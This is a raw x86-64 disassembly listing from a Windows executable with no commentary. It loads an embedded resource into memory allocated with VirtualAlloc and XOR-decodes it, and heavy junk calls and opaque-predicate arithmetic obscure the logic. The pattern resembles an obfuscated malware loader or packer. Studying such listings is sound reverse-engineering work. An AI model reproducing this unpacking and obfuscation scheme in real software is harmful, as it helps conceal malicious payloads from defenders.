mov rsi, qword [rbp + 0x2c8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
add rsp, 0x20
mov dword [rbp + 0x300], eax
mov eax, dword [rbp + 0x300]
mov r12, qword [rbp + 0x290]
mov dword [r12], eax
mov rdx, qword [rdi]
sub rsp, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
add rsp, 0x20
mov qword [rbp + 0x200], rax
mov rcx, qword [rbp + 0x200]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LockResource]
add rsp, 0x20
mov rsi, rax
mov eax, dword [r12]
mov dword [rbp + 0x2e4], eax
mov eax, dword [rbp + 0x2e4]
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x298]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x21
mov r8d, 0x35c173
mov r9d, 0xfb
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2e4]
mov eax, dword [rbp + 0x2e4]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 0xfffffffd
mov r9d, 0xc
mov r8d, edx
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 2
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2e4]
mov eax, dword [rbp + 0x2e4]
sub rsp, 0x20
movabs rcx, 0x1c0792148f5185aa
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0x298]
mov r8d, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 7
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2d4]
mov eax, dword [rbp + 0x2d4]
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, edx
call fcn.140006b10
mov ecx, 0xfffffffd
call fcn.140006b10
add rsp, 0x20
mov r8d, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x1a
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2d4]
sub rsp, 0x20
mov ecx, 2
mov edx, 0x2e
mov r8d, 0x4d
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2d4]
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
movabs rcx, 0xe3f86deb70ae8a56
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x2ff]
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
movabs rcx, 0x2469f1bc7e6f0a53
mov edx, 0x69
call fcn.140006b10
mov edx, 0xc2
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0x2b0]
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 1
mov r8d, 0x2d
mov r9d, 0xce
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
movabs rcx, 0x46a049b40677276c
mov r8d, 0xb7
call fcn.140006b10
mov edx, 0x89
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rcx, qword [rbp + 0x298]
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 0x1000
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
mov edx, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 4
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8d, ebx
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp + 0x2b8], rax
mov rcx, qword [rbp + 0x2b8]
mov r8, qword [rbp + 0x298]
sub rsp, 0x20
mov rdx, rsi
call fcn.140006ae0
lea rcx, [0x14001514c]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
add rsp, 0x20
mov dword [rbp + 0x2d8], eax
mov r8d, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xe7
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x300]
mov eax, dword [rbp + 0x300]
mov r8d, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x53
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x7f
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 2
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x300]
mov r8d, dword [rbp + 0x300]
sub rsp, 0x20
mov edx, 0xde
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov ecx, dword [rbp + 0x2d8]
cmp ecx, eax
sete byte [rbp + 0x2ee]
cmp byte [rbp + 0x2ee], 0
je 0x14000e90b
mov rsi, qword [rbp + 0x2b8]
mov edi, dword [rbp + 0x2dc]
add edi, dword [rbp + 0x300]
mov eax, dword [rbp + 0x2dc]
mov eax, dword [rbp + 0x300]
mov eax, dword [rbp + 0x2dc]
mov eax, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 1
mov edx, edi
call fcn.140006b10
movabs rcx, 0x488ee54df7ac2ee3
mov edx, 0xfa
call fcn.140006b10
mov ecx, 0xbd
mov edx, edi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2d8]
sub rsp, 0x20
mov ecx, 0xff
mov edx, edi
mov r8d, edi
call fcn.140006b10
mov ecx, 0x9f61
mov edx, edi
call fcn.140006b10
mov ecx, 0x27
mov edx, edi
mov r8d, edi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x300]
sub rsp, 0x20
mov ecx, 0xff
mov edx, edi
mov r8d, edi
mov r9d, edi
call fcn.140006b10
mov ecx, 0x9247
mov edx, edi
call fcn.140006b10
movabs rcx, 0xb7711ab20853d14d
mov r9d, 0x8e
mov edx, edi
mov r8d, edi
call fcn.140006b10
mov ecx, 0x30
mov r8d, 0x3e
mov edx, edi
call fcn.140006b10
lea r8, [0x14001403e]
xor ecx, ecx
mov rdx, rsi
mov r9d, eax
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400107ad
mov eax, dword [r12]
mov dword [rbp + 0x2f8], eax
mov rax, qword [rbp + 0x2b0]
mov edx, dword [rbp + 0x2f8]
sub rsp, 0x20
mov ecx, 0x99
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2dc]
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xf425
mov edx, 0xed
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x2f8]
sub rsp, 0x20
mov ecx, 0x92
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x2f8]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x41
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x2f8]
sub rsp, 0x20
mov ecx, 0x7f15
call fcn.140006b10
movabs rcx, 0x60fa8d71eb7f73a1
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2d8]
mov eax, dword [rbp + 0x2d8]
mov eax, dword [rbp + 0x2d8]
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x2f8]
sub rsp, 0x20
movabs rcx, 0xc30f28531843f1e5
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x2f8]
sub rsp, 0x20
mov ecx, 5
call fcn.140006b10
add rsp, 0x20
mov ecx, dword [rbp + 0x2f8]
cmp ecx, eax
seta byte [rbp + 0x2fd]
mov eax, dword [r12]
mov dword [rbp + 0x2c4], eax
mov rax, qword [rbp + 0x2b8]
mov ecx, dword [rbp + 0x2c4]
mov dword [r14], ecx
mov qword [rbp + 0x258], rax
movzx eax, byte [rbp + 0x2fd]
cmp al, 1
jne 0x1400100c1
mov rax, qword [rbp + 0x2b8]
mov esi, dword [rax]
sub rsp, 0x20
mov ecx, 0xcc
mov edx, 0xf4
mov r8d, 0x2689be
call fcn.140006b10
mov ecx, 0xff
mov r8d, 0x72
mov edx, esi
mov r9d, esi
call fcn.140006b10
mov ecx, 0x3e77
mov r8d, 0xc59d4d
mov r9d, 0x83d688
mov edx, esi
call fcn.140006b10
mov ecx, 0x40
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2d4]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xfd
call fcn.140006b10
mov ecx, 0x4bdf
mov r8d, 0xc4
mov edx, esi
call fcn.140006b10
movabs rdi, 0x2447e626cf1a7cc2
mov r8d, 0x6d53ec
mov rcx, rdi
mov edx, esi
call fcn.140006b10
xor ecx, ecx
mov edx, esi
call fcn.140006b10
mov ecx, 0x16
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2d8]
sub rsp, 0x20
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0xa0f3
mov edx, 0x88b62c
call fcn.140006b10
mov ecx, 0x32
mov edx, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0x3835
call fcn.140006b10
add rsp, 0x20
add rdi, 0x124796ee
sub rsp, 0x20
mov rcx, rdi
call fcn.140006b10
mov r8d, 0x3e
mov r9d, 0x34
xor ecx, ecx
mov edx, esi
call fcn.140006b10
mov ecx, 0x2e786f72
mov edx, 0x1b
mov r8d, 0xb4
call fcn.140006b10
add rsp, 0x20
cmp esi, eax
sete byte [rbp + 0x2f6]
mov eax, dword [r12]
mov dword [rbp + 0x2e0], eax
mov rax, qword [rbp + 0x2b8]
mov ecx, dword [rbp + 0x2e0]
mov dword [r14], ecx
mov qword [rbp + 0x258], rax
movzx eax, byte [rbp + 0x2f6]
cmp al, 1
jne 0x1400100c1
mov rax, qword [rbp + 0x2b8]
add rax, 4
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x250]
movzx ebx, byte [rax]
mov byte [rbp + 0x2f7], bl
movzx eax, byte [rbp + 0x2f7]
mov dword [rbp + 0x2c0], eax
mov esi, dword [r12]
sub esi, dword [rbp + 0x2c0]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x91
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2e0]
mov eax, dword [rbp + 0x2f8]
mov eax, dword [rbp + 0x2f8]
mov eax, dword [rbp + 0x2e0]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xc2
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, ebx
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, ebx
mov r8d, ebx
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2f8]
sub rsp, 0x20
mov ecx, 2
mov r8d, 0x4b
mov edx, ebx
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2e0]
mov eax, dword [rbp + 0x2f8]
mov eax, dword [rbp + 0x2e0]
movzx eax, byte [rbp + 0x2fd]
movzx eax, byte [rbp + 0x2ff]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x6d
mov r8d, 0xb2bdcd
mov r9d, 0x73
call fcn.140006b10
movabs rcx, 0x99852fafe088aaa3
mov edx, ebx
mov r8d, ebx
call fcn.140006b10
xor ecx, ecx
mov edx, ebx
mov r8d, ebx
call fcn.140006b10
mov ecx, 0xfffffffc
mov edx, 0xe2
mov r8d, 2
mov r9d, ebx
call fcn.140006b10
add rsp, 0x20
add eax, esi
mov dword [rbp + 0x2d0], eax
mov eax, dword [rbp + 0x2d0]
mov r13, qword [rbp + 0x268]
mov dword [r13], eax
movzx edi, byte [rbp + 0x2f7]
movzx eax, byte [rbp + 0x2fd]
mov eax, dword [rbp + 0x2e0]
mov eax, dword [rbp + 0x2e0]
mov eax, dword [rbp + 0x2e0]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x11
call fcn.140006b10
xor ecx, ecx
mov edx, ebx
mov r8d, ebx
call fcn.140006b10
add rsp, 0x20
cmp dil, al
setne byte [rbp + 0x2ed]
sub rsp, 0x20
mov ecx, 0xc8
mov edx, ebx
mov r8d, ebx
call fcn.140006b10
mov ecx, 0xff
mov edx, ebx
call fcn.140006b10
mov ecx, 0x13d5
mov edx, ebx
call fcn.140006b10
mov ecx, 0x9f
mov r8d, 0xa2
mov edx, ebx
mov r9d, ebx
call fcn.140006b10
mov ecx, 0xff
mov edx, ebx
call fcn.140006b10
mov ecx, 0xa27d
mov edx, ebx
call fcn.140006b10
movabs rcx, 0x2cd9439f42b460ef
mov edx, 0xc4
mov r8d, 0x4294d7
call fcn.140006b10
mov ecx, 1
mov edx, ebx
mov r8d, ebx
call fcn.140006b10
movabs rcx, 0xd326bc60bd4b9f15
mov r9d, 0x1d
mov edx, ebx
mov r8d, ebx
call fcn.140006b10
mov edx, 0x29
xor ecx, ecx
mov r8d, ebx
call fcn.140006b10
mov ecx, 4
call fcn.140006b10
add rsp, 0x20
cmp esi, eax
setg sil
mov rax, qword [rbp + 0x298]
mov eax, dword [rbp + 0x2c4]
mov eax, dword [rbp + 0x2c4]
mov eax, dword [rbp + 0x2c4]
sub rsp, 0x20
mov ecx, 1
mov edx, ebx
mov r8d, ebx
call fcn.140006b10
add rsp, 0x20
and sil, byte [rbp + 0x2ed]
mov byte [rbp + 0x2ec], sil
movzx eax, byte [rbp + 0x2ec]
cmp al, 1
jne 0x14001075c
mov qword [rbp + 0x1d0], r14
mov qword [rbp + 0x238], r15
movzx r15d, byte [rbp + 0x2f7]
mov qword [rbp + 0x1e8], r15
mov rax, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x260]
mov qword [rcx], rax
mov rsi, qword [rcx]
movzx eax, byte [rbp + 0x2ee]
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
add rsp, 0x20
movabs r14, 0x1fd7b79c153bef90
lea rcx, [r14 + 4]
sub rsp, 0x20
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor rdi, rbx
movzx eax, byte [rbp + 0x2fd]
movzx eax, byte [rbp + 0x2f6]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x47
call fcn.140006b10
mov rcx, r14
mov edx, r15d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, r15d
mov r8d, r15d
mov r9d, r15d
call fcn.140006b10
add rsp, 0x20
add rax, rbx
xor rax, rdi
add rax, rsi
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x2b8]
add rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x280], rax
mov ecx, dword [r13]
mov qword [rbp + 0x2a0], rcx
mov rax, qword [rbp + 0x270]
mov qword [rax], rcx
mov r12, qword [rax]
movzx eax, byte [rbp + 0x307]
movzx eax, byte [rbp + 0x2ec]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xd
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xa2
mov r8d, r15d
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x271005
mov r8d, 0xa5
mov r9d, r15d
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 2
mov edx, 0xfe
mov r8d, r15d
call fcn.140006b10
movabs rcx, 0xcb6a36723451866b
mov edx, 0xae
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
movzx ebx, byte [rbp + 0x2ed]
mov rsi, qword [rbp + 0x2b0]
sub rsp, 0x20
mov ecx, 0x16
mov edx, 0xc9
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, ebx
sub rsp, 0x20
mov ecx, 0xff
mov edx, r15d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x2653
mov edx, 0x54
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0xe2
mov edx, r15d
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, esi
sub rsp, 0x20
mov ecx, 0xff
mov edx, r15d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x8461
mov edx, r15d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
imul edi, ebx
xor eax, eax
cmp r14d, edi
sete al
mov dword [rbp + 0x2c8], eax
sub rsp, 0x20
movabs rcx, 0x4ce74016d03df643
mov edx, 0xa3
mov r9d, 0x2c
mov r8d, r15d
call fcn.140006b10
mov ecx, 1
mov edx, r15d
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
and rax, r12
mov rcx, qword [rbp + 0x230]
mov qword [rcx], rax
mov eax, dword [r13]
mov dword [rbp + 0x288], eax
sub rsp, 0x20
mov ecx, 0xff
mov r9d, 0x17
mov edx, r15d
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
or ebx, edi
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x33
mov edx, r15d
mov r9d, r15d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0x9ba1
mov edx, 0x26
call fcn.140006b10
add rsp, 0x20
mov r14, rax
imul r14d, edi
sub rsp, 0x20
mov ecx, 0x87
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, dword [rbp + 0x2e0]
sub rsp, 0x20
mov ecx, 0xff
mov edx, r15d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xb92f
mov edx, 0x91
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
xor r13d, r13d
cmp r14d, eax
sete r13b
movabs rax, 0x16e43a396f33dc84
lea rcx, [rax + 1]
sub rsp, 0x20
mov edx, 0xa4
mov r8d, 0xad528f
mov r9d, r15d
call fcn.140006b10
add rsp, 0x20
mov qword [rbp + 0x2a8], rax
neg r13d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x6c
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
mov r14, rax
xor r14d, dword [rbp + 0x2d0]
mov rsi, qword [rbp + 0x2a0]
or r14d, esi
mov edi, dword [rbp + 0x2d0]
or edi, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xdf
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, edi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, 0x69
mov r8d, 0x7e
call fcn.140006b10
add rsp, 0x20
mov r12, rax
imul r12d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, esi
sub rsp, 0x20
mov ecx, 2
mov edx, 0xcb
mov r9d, 0xf5
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
sub eax, dword [rbp + 0x2d0]
mov edi, dword [rbp + 0x2d0]
xor edi, esi
sub edi, r14d
sub edi, r12d
xor edi, eax
sub rsp, 0x20
mov r8d, 1
movabs rcx, 0x16e43a396f33dc84
mov edx, r15d
call fcn.140006b10
add rsp, 0x20
add eax, edi
xor eax, dword [rbp + 0x2a8]
xor eax, r13d
mov rdi, qword [rbp + 0x238]
cmp dword [rbp + 0x288], eax
sete byte [rbp + 0x2eb]
mov rbx, qword [rbp + 0x2b0]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x8f
call fcn.140006b10
add rsp, 0x20
mov r12, rax
xor r12d, ebx
or r12d, dword [rbp + 0x2e4]
mov esi, dword [rbp + 0x2e4]
or esi, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov r13, rax
xor r13d, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r15d
mov r8d, r15d
mov r9d, r15d
call fcn.140006b10
add rsp, 0x20
mov r14, rax
imul r14d, r13d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r15d
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, dword [rbp + 0x2e4]
sub rsp, 0x20
mov ecx, 2
mov edx, 0xcc
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
imul eax, esi
sub eax, ebx
xor ebx, dword [rbp + 0x2e4]
sub ebx, r12d
sub ebx, r14d
xor ebx, eax
mov qword [rdi], rbx
mov ebx, dword [rbp + 0x2c8]
neg ebx
movzx r12d, byte [rbp + 0x2f6]
sub rsp, 0x20
mov ecx, 0xe2
mov edx, r15d
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, ebx
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xf
mov r8d, r15d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x4cf3
mov edx, r15d
mov r8d, r15d
mov r9d, r15d
call fcn.140006b10
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0xe5
mov edx, r15d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
or ebx, r12d
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x32
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
and esi, ebx
imul esi, esi
sub rsp, 0x20
mov ecx, 0x38b7
mov r8d, 0x73
mov edx, r15d
call fcn.140006b10
add rsp, 0x20
imul eax, esi
xor ecx, ecx
cmp r14d, eax
sete cl
neg rcx
mov qword [rbp + 0x220], rcx
cmp byte [rbp + 0x2eb], 0
jne 0x14000ffc6
mov rax, qword [rbp + 0x270]
mov rbx, qword [rax]
movzx eax, byte [rbp + 0x2eb]
sub rsp, 0x20
mov ecx, 0x34
mov rdx, rbx
mov r8, rbx
call fcn.140006b10
mov ecx, 0xff
mov rdx, rbx
call fcn.140006b10
mov ecx, 0x3e41
mov rdx, rbx
mov r8, rbx
call fcn.140006b10
mov ecx, 0xc4
mov rdx, rbx
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2f8]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xd1
mov r8, rbx
mov r9, rbx
call fcn.140006b10
mov ecx, 0x7271
mov r8d, 0xef
mov r9d, 0xc1
mov rdx, rbx
call fcn.140006b10
movabs rcx, 0x60ce561e34c531c3
mov rdx, rbx
mov r8, rbx
call fcn.140006b10
xor ecx, ecx
mov rdx, rbx
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x1e8]
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, rbx
mov r8, rbx
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, rbx
mov r8, rbx
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, rbx
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x1c7472
mov r8, rbx
call fcn.140006b10
mov ecx, 2
mov r9d, 0x53d412
mov rdx, rbx
mov r8, rbx
call fcn.140006b10
movabs rcx, 0xa56debac8dbf722a
mov edx, 0xe6
call fcn.140006b10
xor ecx, ecx
mov rdx, rbx
mov r8, rbx
call fcn.140006b10
add rsp, 0x20
mov eax, ebx
and eax, 0xfffffffe
mov rcx, qword [rbp + 0x228]
mov qword [rcx], rax
mov rsi, qword [rbp + 0x298]
mov r14d, dword [rbp + 0x2f8]
add r14d, esi
mov eax, dword [rbp + 0x2f8]
xor eax, esi
sub r14d, eax
and esi, dword [rbp + 0x2f8]
sub rsp, 0x20
mov ecx, 1
mov rdx, rbx
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl esi, cl
xor esi, r14d
sub rsp, 0x20
mov r8d, 0x315d83
xor ecx, ecx
mov rdx, rbx
call fcn.140006b10
add rsp, 0x20
mov qword [rbp + 0x208], rax
mov eax, dword [rbp + 0x2dc]
mov eax, dword [rbp + 0x2c0]
mov eax, dword [rbp + 0x2dc]
mov eax, dword [rbp + 0x2c0]
mov eax, dword [rbp + 0x2dc]
mov eax, dword [rbp + 0x2c0]
sub rsp, 0x20
mov ecx, 1
mov r8d, 0xadf395
mov rdx, rbx
call fcn.140006b10
add rsp, 0x20
mov qword [rbp + 0x210], 0
movzx eax, byte [rbp + 0x307]
lea ebx, [rsi + rax]
mov ecx, esi
xor ecx, eax
sub ebx, ecx
and esi, eax
sub rsp, 0x20
mov ecx, 1
mov edx, 0x13
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl esi, cl
xor esi, ebx
mov qword [rbp + 0x218], rsi
mov r12, qword [rbp + 0x218]
mov r13, qword [rbp + 0x210]
mov r14, qword [rbp + 0x208]
mov rax, qword [rbp + 0x260]
mov rcx, qword [rax]
mov qword [rbp + 0x290], rcx
xor eax, eax
cmp r14, rcx
setb al
mov edi, eax
mov dword [rbp + 0x2a8], eax
sub rsp, 0x20
mov ecx, 0xea
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, edi
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0xaa
mov rdx, r12
mov r9, r12
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x185
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
imul esi, edi
sub rsp, 0x20
mov ecx, 0xe8
mov rdx, r12
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, r13d
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
and eax, edi
imul eax, eax
imul ebx, eax, 0xf941
xor r15d, r15d
cmp esi, ebx
sete r15b
mov qword [rbp + 0x2c8], r15
neg r15
mov qword [rbp + 0x288], r14
cmp r14, qword [rbp + 0x290]
cmovb r15, r14
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x2a0], r13
movzx ecx, byte [rax + r13]
mov rdx, qword [rbp + 0x250]
xor cl, byte [rdx + r15]
mov byte [rax + r13], cl
sub rsp, 0x20
mov ecx, 0x9d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r13d
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x95e3
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
imul esi, edi
sub rsp, 0x20
mov ecx, 0x74
mov rdx, r12
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, ebx
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0xe2
mov r9d, 0x6d
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x2b69
mov edx, 0x82
call fcn.140006b10
add rsp, 0x20
mov r13, rax
imul r13d, ebx
xor edi, edi
cmp esi, r13d
sete dil
sub rsp, 0x20
mov edx, 0xb6
movabs rcx, 0xc16329f7e0a1d7ed
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsi, rdi
mov rax, qword [rbp + 0x2c8]
neg eax
mov dword [rbp + 0x290], eax
sub rsp, 0x20
mov ecx, 0xb7
mov edx, 0xa3
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, dword [rbp + 0x2a8]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xb3
mov r8d, 0xd4926e
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x1051
mov r8d, 0xf4
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
mov qword [rbp + 0x2a8], rax
sub rsp, 0x20
mov ecx, 0xd9
mov edx, 0xb
mov r8d, 0x29
call fcn.140006b10
mov ecx, 0xff
mov r8d, 0xc6
mov rdx, r12
call fcn.140006b10
mov ecx, 0x7ea7
mov rdx, r12
call fcn.140006b10
mov edx, 0x13
movabs rcx, 0x3792d1f660541de5
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
add rax, rbx
imul rax, rsi
add rax, r15
mov qword [rbp + 0x270], rax
sub rsp, 0x20
mov ecx, 0x5f
mov edx, 0xe3
mov r9d, 0x4b
mov r8, r12
call fcn.140006b10
mov ecx, 0xff
mov rdx, r12
mov r8, r12
call fcn.140006b10
mov ecx, 0xb821
mov rdx, r12
mov r8, r12
call fcn.140006b10
mov ecx, 0x59
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
add rsp, 0x20
movabs r14, 0x3a75f264bb0603fa
lea rcx, [r14 + 1]
sub rsp, 0x20
mov r9d, 0x3d
mov rdx, r12
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0xe5
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov r15, rax
xor r15, rsi
sub rsp, 0x20
